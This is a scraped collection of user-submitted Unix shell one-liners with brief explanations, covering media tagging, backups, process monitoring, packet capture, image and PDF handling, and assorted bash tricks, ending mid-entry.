./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-07-Crazy.mp3 Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-06-Where_Has_Our_Love_Gone.mp3 Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-08-Letting_Go.mp3 Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-10-Walk_On.mp3 Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-You've_Got_Me.mp3 Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-01-Get_Over_It.mp3 Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-03-Come_Around.mp3 Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-04-Love_Gone_Mad.mp3 Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-05-Catch_Me_If_You_Can.mp3 Updating ./Stars_Go_Dim/Love_Gone_Mad/Stars_Go_Dim-Love_Gone_Mad-09-Hoping_for_Tomorrow.mp3 Fix "broken" ID3 tags in the current directory and subdirectories Some MP3s come with tags that don't work with all players. Also, some good tag editors like, EasyTAG output tags that don't work with all players. For example, EasyTAG saves the genre as a numeric field, which is not used correctly in Sansa MP3 players. This command corrects the ID3 tags in MP3 files using mid3iconv, which comes with mutagen. To install Mutagen on Fedora use "yum install python-mutagen" watch -tn1 'date +%r | figlet' ___ __ ____ _ _ _ _ __ _ __ __ / _ \ / /_ _| ___|| || | _| || | / /_ / \ | \/ | | | | | '_ (_)___ \| || |(_) || |_| '_ \ / _ \ | |\/| | | |_| | (_) | ___) |__ _||__ _| (_) | / ___ \| | | | \___/ \___(_)____/ |_|(_) |_| \___/ /_/ \_\_| |_| Big Countdown Clock with hours, minutes and seconds Figlet is easy to find for download on the internet, and works for any text. Quite cool. renice +5 -p $(pidof <process name>) Functions: pidof renice renice by name ls -lct /etc/ | tail -1 | awk '{print $6, $7, $8}' Jul 15 11:46 or Dec 24 2006 shows also time if its the same year or shows year if installed before actual year and also works if /etc is a link (mac os) for i in $(cat listofservers.txt); do konsole --new-tab -e ssh $i; done open a seperate konsole tab and ssh to each of N servers (konsole 4.2+) creates a new tab for each of N servers in listofservers.txt and ssh's to said servers then, try the "send to all sessions" feature of konsole to do the same work on all servers at the same time. BIG time saver, but be careful! watch "df | grep /path/to/drive" Watch how fast the files in a drive are being deleted This can be useful when a large remove operation is taking place. $mkdir mydir -> mv !$ yourdir -> $cd !$ vi abc.txt -> $cat !$ -> $ls -al !$ Gets the last string of previous command with !$ It helps you save a lot of writing :-) zcat database.sql.gz | mysql -uroot -p'passwd' database Restore mysql database uncompressing on the fly. This way you keep the file compressed saving disk space. Other way less optimal using named pipes: mysql -uroot -p'passwd' database < screen -d -m command & Functions: command screen The improvement is that you can re-attach to the screen at a later point. identify -format "%wx%h" /path/to/image.jpg 150x51 Simple use of ImageMagick identify function. egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' file.txt Filter IPs out of files date --date=yesterday print date 24 hours ago ps -o rss -C httpd | tail -n +2 | (sed 's/^/x+=/'; echo x) | bc Functions: echo ps sed tail How much RAM is Apache using? expr 512 \* 7 expr 44 + 99 + 128 271 Functions: expr Quick command line math expr will give you a quick way to do basic math from the CLI. Make sure you escape things like * and leave a space between operators and digits. wget --http-user=YourUsername --http-password=YourPassword http://YourWebsiteUrl:2082/getbackup/backup-YourWebsiteUrl-`date +"%-m-%d-%Y"`.tar.gz backup your entire hosted website using cPanel backup interface and wget this will connect to your hosted website service through the cPanel interface and use its backup tool to backup and download the entire website, locally. (do not forget to replace : YourUsername , YourPassword and YourWebsiteUrl for it to work ) zip -vr example.zip example/ -x "*.DS_Store" Zip a directory on Mac OS X and ignore .DS_Store (metadata) directory If you want to generate a cross-platform compatible zip file and ignore the Finder's hidden metadata directory ‹ First < 66 67 68 69 70 > Last › man intro Introduction to user commands Tested on debian and ubuntu. Translations could be useless, so "LANG=C man intro" is a better alternative. dpkg -L iptables | perl -lne 'print if -f && -x' Functions: iptables perl List only executables installed by a debian package Safe for whitespaces in names. sftp -oPort=3476 user@host Functions: sftp Connect via sftp to a specific port I use this for connect via sftp to a server listening on a non default ssh port. eject -i 1 CD-Drive may NOT be ejected with device button Lock the hardware eject button of the cdrom This command will lock the hardware eject button of your cdrom drive. Some uses are: 1: If you have a toddler and has discovered the cdrom button 2: If you are carrying a laptop in a bag or case and don't want it to eject if the button is inadvertently pressed. To unlock the button use: eject -i 0 echo 'fOo BaR' | tr '[A-Z]' '[a-z]' | sed 's/\(^\| \)\([a-z]\)/\1\u\2/g' Foo Bar Functions: echo sed tr Capitalize first letter of each word in a string. ps aux | grep [a]pache2 | nl count and number lines of output, useful for counting number of matches Write each FILE to standard output, with line numbers added. With no FILE, or when FILE is -, read standard input. ls -l | sort -nk5 Sort files by size awk 'BEGIN{srand()}{print rand(),$0}' SOMEFILE | sort -n | cut -d ' ' -f2- Functions: awk cut sort Randomize lines in a file This appends a random number as a first filed of all lines in SOMEFILE then sorts by the first column and finally cuts of the random numbers. ps -C program_name || { program_name & } Restart command if it dies. works well in crontab. cat -n <file> | sort -k 2 | uniq -f 1 | sort -n | cut -f 2- Functions: cat cut sort uniq delete duplicate lines from a file and keep the order of the other lines i wanted to delete all duplicate lines from .bash_history and keep the order of the other lines. the command cat's the file and adds line numbers, then sorts by the second column. afterwards uniq omits repeated lines, but skips the first field (the line number). then it sorts by the line numbers and at the end cuts the numbers off. sed -i '10d' <somefile> Very useful when the ssh key of a host has changed and ssh refuses to connect to the machine, while giving you the line number that has changed in ~/.ssh/known_hosts. sudo apt-get -o Acquire::http::Dl-Limit=25 install <package> Cap apt-get download speed apt-get is pretty aggressive when it downloads, potentially hogging the bandwidth of your network. The 25 is in KB, change this to your needs. while [ 0 ]; do echo -e "HTTP/1.1 302 Found\nLocation: http://www.whatevs.com/index.html" | nc -vvvv -l -p 80; done HTTP redirect any HTTP requests to the machine on the specified port will be redirected to http://www.whatevs.com... quick, dirty, works fine for sites w/ tcpdump -v -i <INTERFACE> -s 0 -w /tmp/sniff.pcap port <PORT> # On the remote side tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 265 packets captured 265 packets received by filter Sniffing network to generate a pcap file in CLI mode on a remote host and open it via local Wireshark ( GUI ). Then hit ^C to stop, get the file by scp, and you can now use wireshark like this : wireshark /tmp/sniff.pcap If you have tshark on remote host, you could use that : wireshark -k -i <(ssh -l root <REMOTE HOST> tshark -w - not tcp port 22) The last snippet comes from http://wiki.wireshark.org/CaptureSetup/Pipes fping -r1 -g <subnet> 2> /dev/null | grep unreachable | cut -f1 -d' ' 192.168.0.226 192.168.0.227 Functions: cut grep Somewhat shorter version. zip -r myfile.zip * -x \*.svn\* Create a zip archive excluding all SVN folders tail -f <filename> | grep -C <# of lines to show above and below> <text> Functions: grep tail Live filter a log file using grep and show x# of lines above and below watch 'iptables -vL' Chain RH-Firewall-1-INPUT (2 references) pkts bytes target prot opt in out source destination 0 0 ACCEPT all -- lo any anywhere anywhere 613 489K ACCEPT all -- any any anywhere anywhere state RELATED,ESTABLISHED watch iptables counters Watch the number of packets/bytes coming through the firewall. Useful in setting up new iptables rules or chains. Use this output to reorder rules for efficiency. find . -name "*.php" -exec php -l {} \; scan folder to check syntax error in php files sed '/^$/d' remove empty lines echo ${PIPESTATUS[@]} Show exit status of all portions of a piped command eg. ls |this_doesn't_exist |wc import -window `xwininfo | awk '/Window id/{print $4; exit}'` `uuidgen`.png capture selected window man beep | sed -e '1,/Note/d; /BUGS/,$d' | awk '{print $2}' | xargs -IX sudo beep -f X -l 500 Functions: awk man sed sudo xargs Play musical notes from octave of middle C Are there any creative pieces of music that can be created using beep and the shell? I'd love to hear it! lockfile Functions: lockfile Locking and unlocking files and mailboxes Programs for locking and unlocking files and mailboxes.This package includes several programs to safely lock and unlock files and mailboxes from the command line. These include: lockfile-create lockfile-remove lockfile-touchlock mail-lock mail-unlock mail-touchlock These programs use liblockfile to perform the file locking and unlocking, so they are guaranteed compatible with Debian's file locking policies. pdftk in.pdf cat 1S output out.pdf Rotate a single page PDF by 180 degrees More pdftk examples: http://www.pdflabs.com/docs/pdftk-cli-examples/ ‹ First < 67 68 69 70 71 > Last › convert -resize 200 awk.pdf[0] awk.png create thumbnail of pdf git diff HEAD..rev | git apply --index; git commit Undo several commits by committing an inverse patch. Use this to make a new commit that "softly" reverts a branch to some commit (i.e. squashes the history into an inverse patch). You can review the changes first by doing the diff alone. egrep --color=auto 'usb|' /var/log/messages Colorize matching string without skipping others this is useful to highlight only some code without losing other lines (eg. software, logs, scripts) <ctrl-f> in ex mode in vim Edit your command in vim ex mode by <ctrl-f> If you are in ex mode in vim i.e. you've pressed ':'. You can edit the current command by pressing <ctrl-f> sleep 3 && xdotool type --delay 0ms texthere Functions: sleep type Type a random string into a X11 window Just after you type enter, you have 3 seconds to switch window, then "texthere" will be "typed" in the X11 application that has focus. Very useful to beat your score at games such as "How fast can you type A-Z". cp filename{,.`date +%Y%m%d`} Fast file backup This is a BASH feature. The above command will create a backup of "filename" called "filename.DATE", where DATE is the actual day in %Y%m%d (year, month and day numbers together) format. x11vnc -display :0 -auth $(ps -ef|awk '/xauth/ {print $15}'|head -1) -forever -bg & connect to X login screen via vnc the $15 may change for you depending on your distro, etc... echo $ascii | perl -ne 'printf "%x", ord for split //' Functions: echo perl split convert ascii string to hex just a bit simpler pdftk A=odd.pdf B=even.pdf shuffle A1-end Bend-1S output duplex.pdf PDF simplex to duplex merge Joins two pdf documents coming from a simplex document feed scanner. Needs pdftk >1.44 w/ shuffle. pv large.xml | xclip cat large file to clipboard with speed-o-meter shortest alternative without the speed-o-meter"xclip large.xml" "xclip -o" to get the clipboard content, alternatively [shift key] + insert or middle button of your mouse. convert -resize 200 -sharpen 40 some_file.pdf[0] some_file.jpg Make a thumbnail image of first page of a PDF. convert is included in ImageMagick. Don't forget the [X] (where X is the page number). [0] is the first page of the PDF. ps -o comm= -p $(ps -o ppid= -p $$) Who invoked me? / Get parent command Get the name of the parent command. This might be helpful, if you need to react on that information. E. g. a script called directly via ssh has got sshd as parent, manually invoked the parent process will probably be bash echo -ne "\e[32m" ; while true ; do echo -ne "\e[$(($RANDOM % 2 + 1))m" ; tr -c "[:print:]" " " < /dev/urandom | dd count=1 bs=50 2> /dev/null ; done Functions: dd echo tr true A bit different from some of the other submissions. Has bold and uses all c printable characters. Change the bs=value to speed up and increase the sizes of the bold and non-bold strings. du -x --max-depth=1 | sort -n | awk '{ print $2 }' | xargs du -hx --max-depth=0 # du -x --max-depth=1 /var | sort -n | awk '{ print $2 }' | xargs du -hx --max-depth=0 0 /var/lock 128K /var/run 4.0K /var/crash 4.0K /var/games 4.0K /var/local 4.0K /var/opt 4.0K /var/tmp 8.0K /var/mail 692K /var/spool 7.2M /var/backups 13M /var/log 97M /var/www 236M /var/lib 539M /var/cache 891M /var Functions: awk du sort xargs Numerically sorted human readable disk usage Provides numerically sorted human readable du output. I so wish there was just a du flag for this. tail -f somefile |tee >(grep --line-buffered '1' > one.txt) |tee >(grep --line-buffered '2' > two.txt) Functions: grep tail tee monitor a tail -f command with multiple processes when using named pipes only one reader is given the output by default. Also, most commands piped to by grep use a buffer which save output until tail -f finishes, which is not convenient. Here, using a combination of tee, sub-processes and the --line-buffered switch in grep we can workaround the problem. wget -O LICENSE.txt http://www.gnu.org/licenses/gpl-3.0.txt Add a GPL license file to your project /usr/sbin/dmidecode | grep -i "current speed" gnu@robby:~$ sudo /usr/sbin/dmidecode | grep -i "current speed" find . -type f | grep -rl $'\xEF\xBB\xBF' ..list of files containing "BOM". Find UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM) of the Unicode Standard. Character: "?" is the Byte Order Mark (BOM) of the Unicode Standard. Specifically it is the hex bytes EF BB BF, which form the UTF-8 representation of the BOM, misinterpreted as ISO 8859/1 text instead of UTF-8. curl --user "USERNAME:PASSWORD" -d status="MESSAGE_GOES_HERE $(curl -s tinyurl.com/api-create.php?url=URL_GOES_HERE) $(curl -s api.hostip.info/get_html.php?ip=$(curl ip.appspot.com))" -d source="cURL" twitter.com/statuses/update.json -o /dev/null A command to post a message to Twitter that includes your geo-location and a short URL. A command to post a message to Twitter that includes your geo-location and a short URL. The link shortening service is provide by TinyURL, the geo-location service is provided by HostIP and the IP address lookup service is provided by AppSpot. This is an upgrade of an of one of my previous contributions: http://tinyurl.com/yd2xtzv. ssh -fND localhost:PORT USER@SERVER Create a persistent remote Proxy server through an SSH channel Create a persistent remote Proxy server through an SSH channel. rpm2cpio package.rpm |cpio -dimv Functions: cpio Extract all of the files on an RPM on a non-RPM *nix alias z='zenity --info --text="You will not believe it, but your command has finished now! :-)" --display :0.0' get a desktop notification from the terminal tired of switching to the console to check if some command has finished yet? if notify-send does not work on your box try this one... e.g. rsync -av -e /usr/bin/lsh $HOME slowconnection.bar:/mnt/backup ; z (now fire up X, do something useful, get notified if this stuff has finished). wget -O - http://example.com/a.gz | tar xz Use `tar xj` for bzip2 archives. function man2pdf(){ man -t ${1:?Specify man as arg} | open -f -a preview; } Open up a man page as PDF (#OSX) Simply pass an argument to the script to convert the manual page to a PDF: man2pdf drutil curl -s http://isc.sans.org/sources.html|grep "ipinfo.html"|awk -F"ip=" {'print $2'}|awk -F"\"" {'print $1'}|xargs -n1 sudo iptables -A OUTPUT -j DROP -d > 2&>1 Functions: awk grep iptables sudo xargs Retrieve top ip threats from http://isc.sans.org/sources.html and add them into iptables output chain. ‹ First < 68 69 70 71 72 > Last › top -b -n 1 | awk '{if (NR <=7) print; else if ($8 == "D") {print; count++} } END {print "Total status D: "count}' Functions: awk top count processes with status "D" uninterruptible sleep printf '\!:1\0\!:1\0\!:2' | mmencode | tr -d '\n' | sed 's/^/AUTH PLAIN /' AUTH PLAIN dmlsbGUAdmlsbGUAc2FsYXNhbmE= Functions: printf sed tr Create AUTH PLAIN string to test SMTP AUTH session I use this as an alias: alias authplain "printf '\!:1\0\!:1\0\!:2' | mmencode | tr -d '\n' | sed 's/^/AUTH PLAIN /'" then.. # authplain someuser@somedomain.com secretpassword AUTH PLAIN c29tZXVzZXJAc29tZWRvbWFpbi5jb20Ac29tZXVzZXJAc29tZWRvbWFpbi5jb20Ac2VjcmV0cGFzc3dvcmQ= watch() { while test :; do clear; date=$(date); echo -e "Every "$1"s: $2 \t\t\t\t $date"; $2; sleep $1; done } Every 3s: ls Mi 19 Aug 2009 17:27:24 CEST Functions: echo sleep test watch for all who don't have the watch command #Usage: watch timeinsecond "command" rsync -av --ignore-existing --exclude="dir1" --exclude="dir2" /pathA /pathB syncronizing datas beetween two folder (A and B) excluding some directories in A (dir1 and dir2) echo <percentage> > /proc/acpi/video/VGA/LCD/brightness Set laptop display brightness Run as root. Path may vary depending on laptop model and video card (this was tested on an Acer laptop with ATI HD3200 video). cat /proc/acpi/video/VGA/LCD/brightness to discover the possible values for your display. find /var/log -type f -exec file {} \; | grep 'text' | cut -d' ' -f1 | sed -e's/:$//g' | grep -v '[0-9]$' | xargs tail -f Functions: cut file find grep sed tail xargs Monitor logs in Linux using Tail Works in Ubuntu, I hope it will work on all Linux machines. For Unixes, tail should be capable of handling more than one file with '-f' option. This command line simply take log files which are text files, and not ending with a number, and it will continuously monitor those files. Putting one alias in .profile will be more useful. ffmpeg -loop_input -f image2 -r 30000/1001 -t $seconds -i frame/$num.ppm -y frame/%02d.mpeg 2>/dev/null convert (almost) any image into a video This is an extract from a larger script which makes up slideshow videos from images. $seconds is the number of seconds the video will last, and $num is a loop counter which numbers the videos for concat into a longer video later, so they will be in order. The dev/null bit on the end cuts ffmpeg's verbosity. whowatch whowatch: Linux and UNIX interactive, process and users monitoring tool whowatch is a interactive, ncurses-based, process and users monitoring tool, which updates information in real time. This is a perfect tool for local and remote servers. It displays information about the users currently logged on to the machine, in real-time. Besides standard information (login name, tty, host, user's process), the type of the connection (ie. telnet or ssh) is shown. Display of users command line can be switch to tty idle time. Certain user can be selected and his processes tree may be viewed as well as tree of all system processes. Tree may be displayed with additional column that shows owner of each process. In the process tree mode SIGINT and SIGKILL signals can be sent to the selected process. Killing processes is just as simple and fun as deleting lines on the screen. firefox -P <profile_name> -no-remote Simultaneously running different Firefox profiles After running firefox -ProfileManager and creating several different profiles, use this command to run multiple Firefox profiles simultaneously. tr '\0' '\377' < /dev/zero|dd count=$((<bytes>/512)) $ time tr '\0' '\377' < /dev/zero|dd count=$((24*1024*2)) > /dev/null 49152+0 records in 49152+0 records out 25165824 bytes (25 MB) copied, 0.0491487 s, 512 MB/s tr '\0' '\377' < /dev/zero 0.02s user 0.02s system 82% cpu 0.053 total dd count=$((24*1024*2)) > /dev/null 0.01s user 0.03s system 76% cpu 0.052 total Functions: dd tr a fast way to repeat output a byte the speed is about 500MB/s on my machine. i think it's fast enough to output not too many bytes. while a C program may output 1GB per sencond on my machine. if the size is not the power of 512,you may change the bs and count in dd. bind -p | grep -F "\C" "\C-g": abort "\C-x\C-g": abort "\e\C-g": abort "\C-j": accept-line "\C-m": accept-line "\C-b": backward-char "\C-h": backward-delete-char "\C-?": backward-delete-char "\C-x\C-?": backward-kill-line "\e\C-h": backward-kill-word "\e\C-?": backward-kill-word "\C-a": beginning-of-line "\C-xe": call-last-kbd-macro "\C-]": character-search "\e\C-]": character-search-backward "\C-l": clear-screen "\C-i": complete "\C-d": delete-char Useful for getting to know the available keyboard shortcuts. sed -n /start_pattern/,/stop_pattern/p file.txt sudo vi /etc/fstab; Go//smb-share/gino /mnt/place smbfs defaults,username=gino,password=pass 0 0<esc>:wq; mount //smb-share/gino Functions: mount sudo vi automount samba shares as devices in /mnt/ the middle command between the ; and ; is the vi commands that insert that line into the last line of the file, the esc with the carets is literally hitting the escape key, you have to have the smbfs package installed to do it, I use it to access my iTunes music on my mac from my linux PC's with amarok so I can play the music anywhere in the house. among other things, it allows you to access the files on that share from your computer anytime you're on that network. shmore(){ local l L M="`echo;tput setab 4&&tput setaf 7` --- SHMore --- `tput sgr0`";L=2;while read l;do echo "${l}";((L++));[[ "$L" == "${LINES:-80}" ]]&&{ L=2;read -p"$M" -u1;echo;};done;} $ cat mod_log_config.c | shmore $ shmore < mod_log_config.c # * Syntax: # * # * TransferLog fn Logs transfers to fn in standard log format, unless # * a custom format is set with LogFormat # * LogFormat format Set a log format from TransferLog files # * CustomLog fn format --- SHMore --- SH cat mod_log_config.c | shmore shmore < mod_log_config.c Most pagers like less, more, most, and others require additional processes to be loaded, additional cpu time used, and if that wasn't bad enough, most of them modify the output in ways that can be undesirable. What I wanted was a "more" pager that was basically the same as running: cat file Without modifying the output and without additional processes being created, cpu used, etc. Normally if you want to scroll the output of cat file without modifying the output I would have to scroll back my terminal or screen buffer because less modifies the output. After looking over many examples ranging from builtin cat functions created for csh, zsh, ksh, sh, and bash from the 80's, 90s, and more recent examples shipped with bash 4, and after much trial and error, I finally came up with something that satisifed my objective. It automatically adjusts to the size of your terminal window by using the LINES variable (or 80 lines if that is empty) so This is a great function that will work as long as your shell works, so it will work just find if you are booted in single user mode and your /usr/bin directory is missing (where less and other pagers can be). Using builtins like this is fantastic and is comparable to how busybox works, as long as your shell works this will work. One caveat/note: I always have access to a color terminal, and I always setup both the termcap and the terminfo packages for color terminals (and/or ncurses and slang), so for that reason I stuck the tput setab 4; tput setaf 7 command at the beginning of the function, so it only runs 1 time, and that causes the -- SHMore -- prompt to have a blue background and bright white text. This is one of hundreds of functions I have in my http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html">.bash_profile at http://www.askapache.com/">AskApache.com, but actually won't be included till the next update. If you can improve this in any way at all please let me know, I would be very grateful! ( Like one thing I want is to be able to continue to the next screen by pressing any key instead of now having to press enter to continue) ps auxw |egrep "PID|process_to_look_at" USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND ps a process keeping the header info so you know what the columns of numbers mean! USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1828 0.0 0.0 5396 476 ? Ss 2008 0:00 /usr/sbin/sshd awk '/match/{print NR}' file Get line number of all matches in a file xclip -o -selection clipboard | xclip -selection clipboard get xclip to own the clipboard contents "Copying" things to the X clipboard doesn't normally create a copy. Rather the data to be 'copied' is referenced. This means that if the application that you 'copied' stuff from is closed, that data is lost. If the application that you 'copied' from is suspended with CTRL-Z, there could be some issues if you try to paste it into something. This command will create a copy of referenced data and have xclip be the provider of it, so you can then go ahead and close the app that contains the original information. Caveat: I'm not sure if this is binary-safe (though i would expect it to be), and don't know what would happen if you used it to clip a 20 meg gimp image. This technique becomes more convenient if you set it up as an action in a clipboard manager (eg klipper, parcellite). Some of these applets can take automatic action based on a variety of parameters, so you could probably just get it to always own the clipped data whenever data is clipped. realpath examplefile.txt /full/path/to/examplefile.txt Useful in scripts when the file is passed in as an argument. Eg. filepath=$(realpath $1) bind 'set match-hidden-files off' ignore hidden directory in bash completion (e.g. .svn) add it in ~/.bashrc install bash-completion read -a A<<<".*.**..*....*** 8 9 5 10 6 0 2 11 7 4";for C in `date +"%H%M"|fold -w1`;do echo "${A:${A[C+1]}:4}";done ...* ..*. ..** .*.. Functions: echo fold read Like 7171, but fixed typo, uses fewer variables, and even more cryptic! imageshack() { for files in *; do curl -H Expect: -F fileupload="@$files" -F xml=yes -# "http://www.imageshack.us/index.php" | grep image_link | sed -e 's/<image_link>/[IMG]/g' -e 's/<\/image_link>/[\/IMG]/g'; done; } [user@host ~]$ imageshack ######################################################################## 100.0% [IMG]http://img541.imageshack.us/img541/5382/wifidock01.png[/IMG] [IMG]http://img716.imageshack.us/img716/54/wifidock02.png[/IMG] [IMG]http://img825.imageshack.us/img825/6664/wifidock03.jpg[/IMG] Each file in the current folder is uploaded to imageshack.us If the folder contains other filetypes change: for files in * to: for files in *.jpg (to upload ONLY .jpg files) Additionally you can try (results may vary): for files in *.jpg *.png The output URL is encased with BB image tags for use in a forum. ncal -e 12 April 2009 Show the date of easter ncal -e shows the date of Easter this year. ncal -e YYYY shows the date of Easter in a given year. ncal -o works the same way, but for Orthodox dates. dvgrab --format raw - | tee dvstream.dv | ffmpeg2theora -A 45 -V 400 -c 1 -f dv -x 360 -y 288 -o /dev/stdout - | tee savelivestream.ogv | oggfwd -p -d "Stream description" -n "Streamname" my.icecastserver.com 80 icecastpassword /stream.ogv Streaming HTML5 video to icecast server using dvgrab, ffmpeg2theora and oggfwd Streaming HTML5 compatible video (Ogg Theora video with Vorbis sound) to an Icecast server using dvgrab, ffmpeg2theora and oggfwd. In this example I'm merging stereo sound to mono (-c 1), saving the original dv for later higher quality on-demand video (tee dvstream.dv), saving the theora stream for immediate on-demand video, and publishing the stream in Xiph's stream directory (-p and the name and description). The URL of the video will be (depending on your server) http://my.icecastserver.com/stream.ogv which will play in newer Firefox, Chrome and Opera web browsers. Cortado (a Java player) can easily be used for IE. Note also that I'm using port 80, which is not the default port for Icecast, this is to avoid restrictive firewalls. Also note that ffmpeg2theora 0.25 and will heed the bitrates much better than former versions because of using libtheora 1.1 or newer. find . -type f -mtime +100 -exec tar rvf my.tar --remove-files {} \; tar and remove files which are older that 100 days tar does not have a -mtime option as find. tar appends all the file to an existing tar file. <ALT>+<.> or <ALT>+<NUM>+<.> or <ALT>+<NUM>,<ALT>+<.> Place the NUM-th argument of the most recent command on the shell After executing a command with multiple arguments like cp ./temp/test.sh ~/prog/ifdown.sh you can paste any argument of the previous command to the console, like ls -l ALT+1+. is equivalent to ls -l ./temp/test.sh ALT+0+. stands for command itself ('ls' in this case) Simple ALT+. cycles through last arguments of previous commands. ‹ First < 69 70 71 72 73 > Last › gpg --encrypt --recipient 'Foo Bar' foo.txt gpg encrypt a file gpg command to encrypt a file on the command line. enscript -E --color -t "title" -w html --toc -p /PATH/to/output.html /var/log/*log output left in /var/www/output.html Convert the output of one or more (log, source code ...) files into html, Requires the "enscript" package. frank@zappa:~# sudo apt-get install enscript Or http://www.codento.com/people/mtr/genscript/ "use your head" net rpc -I ADDRESS -U USERNAME%PASSWORD service {stop|start} SVCNAME .. SVCNAME service is stopped. Stop or Start (Restart) a Windows service from a Linux machine Control (stop, start, restart) a Windows Service from a Linux machine which has the `net` command (provided by samba). convert -rotate $rotate -scale $Widthx$Height -modulate $brightness -contrast $contrast -colorize $red%,$green%,$blue% $filter file_in.png file_out.png Scale,Rotate, brightness, contrast,...with Image Magick rotate: the rotate angle width, $height: width and height to scale to birghtness: change brighness mencoder -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf scale=320:-2,expand=:240:::1 -o output.avi dvd://0 Rip DVD to YouTube ready MPEG-4 AVI file using mencoder Rip DVD to YouTube ready AVI file, using MPEG-4 video codec and MP3 audio codec. Resizes to 320x240 and deinterlaces as needed. googl () { curl -s -d "url=${1}" http://goo.gl/api/url | sed -n "s/.*:\"\([^\"]*\).*/\1\n/p" ;} http://goo.gl/jYVX Shorter and made into a function. filext () { echo ${1##*.}; } Extract extention of a file startx -- /usr/bin/Xephyr :2 Start another X session in a window You might have Xnest (older) rather than Xephyr. You can experiment with other desktops eg: startx /usr/bin/start-kde -- /usr/bin/Xephyr :2 You can start X on a remote machine (although I'd recommend vnc for anything slower than a LAN): startx /usr/bin/ssh -X gnome-session -- /usr/bin/Xephyr :2 Or just start another X session locally talking to the remote backend: for f in *.mp3 ; do lame --mp3input -b 128 "$f" ./resamp/"$f" ; done This will lower the quality of mp3 files, but is necessary to play them on some mobile devices. grep -r . /sys/class/net/eth0/statistics # grep -r . /sys/class/net/eth0/statistics /sys/class/net/eth0/statistics/tx_compressed:0 /sys/class/net/eth0/statistics/rx_compressed:0 /sys/class/net/eth0/statistics/tx_window_errors:0 /sys/class/net/eth0/statistics/tx_heartbeat_errors:0 /sys/class/net/eth0/statistics/tx_fifo_errors:0 /sys/class/net/eth0/statistics/tx_carrier_errors:0 /sys/class/net/eth0/statistics/tx_aborted_errors:0 /sys/class/net/eth0/statistics/rx_missed_errors:0 /sys/class/net/eth0/statistics/rx_fifo_errors:0 /sys/class/net/eth0/statistics/rx_frame_errors:0 /sys/class/net/eth0/statistics/rx_crc_errors:0 /sys/class/net/eth0/statistics/rx_over_errors:0 /sys/class/net/eth0/statistics/rx_length_errors:0 /sys/class/net/eth0/statistics/collisions:0 /sys/class/net/eth0/statistics/multicast:0 /sys/class/net/eth0/statistics/tx_dropped:0 /sys/class/net/eth0/statistics/rx_dropped:0 /sys/class/net/eth0/statistics/tx_errors:0 /sys/class/net/eth0/statistics/rx_errors:0 /sys/class/net/eth0/statistics/tx_bytes:19184080771 /sys/class/net/eth0/statistics/rx_bytes:91584373132 /sys/class/net/eth0/statistics/tx_packets:40503331 /sys/class/net/eth0/statistics/rx_packets:105935775 Quick key/value display within /proc or /sys Within /proc and /sys there are a lot of subdirectories, which carry pseudofiles with only one value as content. Instead of cat-ing all single files (which takes quite a time) or do a "cat *" (which makes it hard to find the filename/content relation), just grep recursively for . or use "grep . /blabla/*" (star instead of -r flag). For better readability you might also want to pipe the output to "column -t -s : ". echo "scale=4; 3 / 5" | bc .6000 floating point operations in shell scripts allows you to use floating point operations in shell scripts watch -n 1 "sudo asterisk -vvvvvrx 'core show channels' | grep call" 3 active calls 72 calls processed Watch active calls on an Asterisk PBX Show active calls as the happen on an Asterisk server. Note that the Asterisk command (in single quotes) is formatted for Asterisk 1.6. Use the -n flag on the watch command to modify the refresh period (in seconds - default is 2 seconds). sudo hwinfo --framebuffer 02: None 00.0: 11001 VESA Framebuffer [Created at bios.464] Unique ID: rdCR.UvN0l5rPwN5 Hardware Class: framebuffer Model: "NVIDIA GW-P/N@CVGD33320LQ0N5:0" Vendor: "NVIDIA Corporation" Device: "GW-P/N@CVGD33320LQ0N5:0" SubVendor: "NVIDIA" SubDevice: Revision: "GW-CLK" Memory Size: 256 MB Memory Range: 0xe0000000-0xefffffff (rw) Mode 0x0300: 640x400 (+640), 8 bits Mode 0x0301: 640x480 (+640), 8 bits Mode 0x0303: 800x600 (+800), 8 bits Mode 0x0305: 1024x768 (+1024), 8 bits Mode 0x0352: 2048x1536 (+8192), 24 bits Config Status: cfg=new, avail=yes, need=no, active=unknown show framebuffer console modes to use in grub vga option look at /boot/grub/menu.lst for somethig like: ## additional options to use with the default boot option, but not with the ## alternatives ## e.g. defoptions=vga=791 resume=/dev/hda5 ## defoptions=vga=795 # defoptions=vga=873 ## altoption boot targets option ## multiple altoptions lines are allowed ## e.g. altoptions=(extra menu suffix) extra boot options ## altoptions=(recovery) single # altoptions=(verbose mode) vga=775 debug # altoptions=(console mode) vga=ask # altoptions=(graphic mode) quiet splash # altoptions=(recovery mode) single vga=(decimal value) is framebuffer mode while true; do lynx --dump http://whatthecommit.com/ | head -n 1 | cowsay; sleep 2; done let the cow suggest some commit messages for you ssh $HOST -l$USER cat /REMOTE/FILE | sdiff /LOCAL/FILE - Functions: cat sdiff ssh remote diff with side-by-side ordering. more information: man sdiff declare -f <function name> rany:~/Desktop$ command_8239() { M=50;if read mb _ < <(du -sm 2>/dev/null) && (( mb > M )); then echo "Size of ${PWD##*/} > $M";fi; } rany:~/Desktop$ declare -f command_8239 command_8239() M=50; if read mb _ < <(du -sm 2>/dev/null) && (( mb > M )); then rany:~/Desktop$ I often write a one-liner which I want to use later in a script. #command dont execute command just add it to history as a comment, handy if your command is not "complete" yet sed 's/$/<ctrl+v><ctrl+m>/' Convert Unix newlines to DOS newlines The 